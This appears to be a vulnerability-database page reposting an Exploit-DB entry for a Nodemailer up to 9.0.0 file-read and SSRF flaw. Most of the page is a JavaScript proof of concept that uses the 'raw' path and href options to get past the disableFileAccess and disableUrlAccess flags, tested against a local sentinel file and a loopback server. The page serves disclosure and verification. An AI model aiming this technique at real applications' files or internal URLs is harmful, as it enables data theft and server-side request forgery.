Lucene search
+L

Nodemailer 9.0.0 - File Read/ SSRF

🗓️ 18 Aug 2026 00:00:00Reported by Jorge González MillaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 5 Views

MailComposer.compile() ignores disableFileAccess and disableUrlAccess flags, allowing raw path/href to read files or fetch URLs in Nodemailer up to 9.0.0.

Code
# Exploit Title: Nodemailer 9.0.0 - File Read/ SSRF

# Date: 2026-07-17

# Exploit Author: Pig-Tail (Jorge González Milla)

# Vendor Homepage: https://github.com/nodemailer/nodemailer

# Software Link: https://www.npmjs.com/package/nodemailer

# Version: nodemailer <= 9.0.0 (fixed 9.0.1)

# Tested on: Linux

# CVE: N/A

# Category: webapps

# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-p6gq-j5cr-w38f-nodemailer



MailComposer.compile() builds the raw message/rfc822 node without threading the disableFileAccess/disableUrlAccess flags, so raw:{path}/raw:{href} reads files / fetches URLs anyway. Advisory: GHSA-p6gq-j5cr-w38f.



The PoC is a benign, local verification harness (sentinel-based; no network attack, no

persistence, no destructive payload). Run against a local instance of the affected version.



--- PoC (poc-raw-fileaccess-bypass.js) ---

'use strict';

/*

* PoC — message-level `raw` option bypasses disableFileAccess / disableUrlAccess.

*

* Threat model: an application that accepts untrusted message data passes

* `disableFileAccess: true` (and/or `disableUrlAccess: true`) to Nodemailer to

* prevent that untrusted input from reading local files or fetching URLs

* (the same protection the jsonTransport advisory GHSA-wqvq-jvpq-h66f is about).

*

* This PoC shows that a `raw: { path: <file> }` (or `{ href: <url> }`) message

* is read ANYWAY, because MailComposer.compile() builds the message/rfc822 root

* node WITHOUT threading the flags (lib/mail-composer/index.js:34-35), unlike

* every attachment/alternative node which is created with the flags.

*

* Benign marker: a sentinel file in the OS temp dir whose unique nonce we look

* for in the generated message. No network, no destructive action.

*/

const nodemailer = require('../../../nodemailer');

const fs = require('fs');

const os = require('os');

const path = require('path');

const http = require('http');



const NONCE = 'SENTINEL-' + Date.now() + '-' + Math.floor(Math.random() * 1e6);

const sentinelPath = path.join(os.tmpdir(), 'nm-poc-' + NONCE + '.eml');

fs.writeFileSync(sentinelPath, 'From: a@a\r\nSubject: ' + NONCE + '\r\n\r\nbody ' + NONCE + '\r\n');



function buildMessage(data, cb) {

    // streamTransport => fully local, returns the generated message as a stream.

    const transporter = nodemailer.createTransport({

        streamTransport: true,

        buffer: true,

        // The application's protective flags:

        disableFileAccess: true,

        disableUrlAccess: true

    });

    transporter.sendMail(data, (err, info) => {

        if (err) return cb(err);

        cb(null, info.message.toString());

    });

}



function run() {

    console.log('Nodemailer version:', require('../../../nodemailer/package.json').version);

    console.log('Sentinel file     :', sentinelPath);

    console.log('Nonce             :', NONCE);

    console.log('Transporter flags : disableFileAccess=true, disableUrlAccess=true\n');



    // --- CONTROL: a normal attachment with the same path MUST be rejected ---

    buildMessage(

        { from: 'a@a', to: 'b@b', subject: 'control', text: 'x', attachments: [{ path: sentinelPath }] },

        (err, msg) => {

            const controlBlocked = !!err && err.code === 'EFILEACCESS';

            console.log('[CONTROL] attachment path with disableFileAccess:');

            console.log('  => ' + (controlBlocked ? 'BLOCKED (EFILEACCESS) — flag works here' : 'NOT blocked (unexpected): ' + (err && err.message)));



            // --- ATTACK: message-level raw with the same path ---

            buildMessage({ raw: { path: sentinelPath } }, (err2, msg2) => {

                if (err2) {

                    console.log('\n[ATTACK] raw:{path} => error (NOT bypassed): ' + err2.code + ' ' + err2.message);

                    return finishUrl(controlBlocked, false);

                }

                const leaked = msg2.indexOf(NONCE) !== -1;

                console.log('\n[ATTACK] raw:{path} with disableFileAccess=true:');

                console.log('  => ' + (leaked

                    ? 'BYPASSED — sentinel file CONTENT is present in the generated message'

                    : 'not leaked (sentinel nonce absent)'));

                if (leaked) {

                    const idx = msg2.indexOf(NONCE);

                    console.log('  excerpt: ...' + JSON.stringify(msg2.slice(Math.max(0, idx - 20), idx + 20)) + '...');

                }

                finishUrl(controlBlocked, leaked);

            });

        }

    );

}



// Second observable: disableUrlAccess bypass via raw:{href} against a LOCAL (loopback) server.

function finishUrl(controlBlocked, fileLeaked) {

    const URLNONCE = NONCE + '-URL';

    const server = http.createServer((req, res) => {

        res.end('From: a@a\r\nSubject: x\r\n\r\nURLBODY ' + URLNONCE + '\r\n');

    });

    server.listen(0, '127.0.0.1', () => {

        const port = server.address().port;

        const href = ' http://127.0.0.1 :' + port + '/sentinel';

        buildMessage({ raw: { href: href } }, (err, msg) => {

            let urlLeaked = false;

            if (err) {

                console.log('\n[ATTACK] raw:{href} => error (NOT bypassed): ' + err.code + ' ' + err.message);

            } else {

                urlLeaked = msg.indexOf(URLNONCE) !== -1;

                console.log('\n[ATTACK] raw:{href} with disableUrlAccess=true (loopback server):');

                console.log('  => ' + (urlLeaked

                    ? 'BYPASSED — server-side fetched body is present in the generated message (SSRF)'

                    : 'not leaked'));

            }

            server.close();

            try { fs.unlinkSync(sentinelPath); } catch (_e) {}



            console.log('\n================ RESULT ================');

            console.log('control attachment blocked by flag : ' + controlBlocked);

            console.log('raw:{path} file-access bypass      : ' + fileLeaked);

            console.log('raw:{href} url-access  bypass      : ' + urlLeaked);

            const pass = controlBlocked && (fileLeaked || urlLeaked);

            console.log('VERDICT: ' + (pass ? 'CONFIRMED — raw bypasses the access flags that block attachments' : 'NOT CONFIRMED'));

            process.exit(pass ? 0 : 1);

        });

    });

}



run();

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Aug 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
5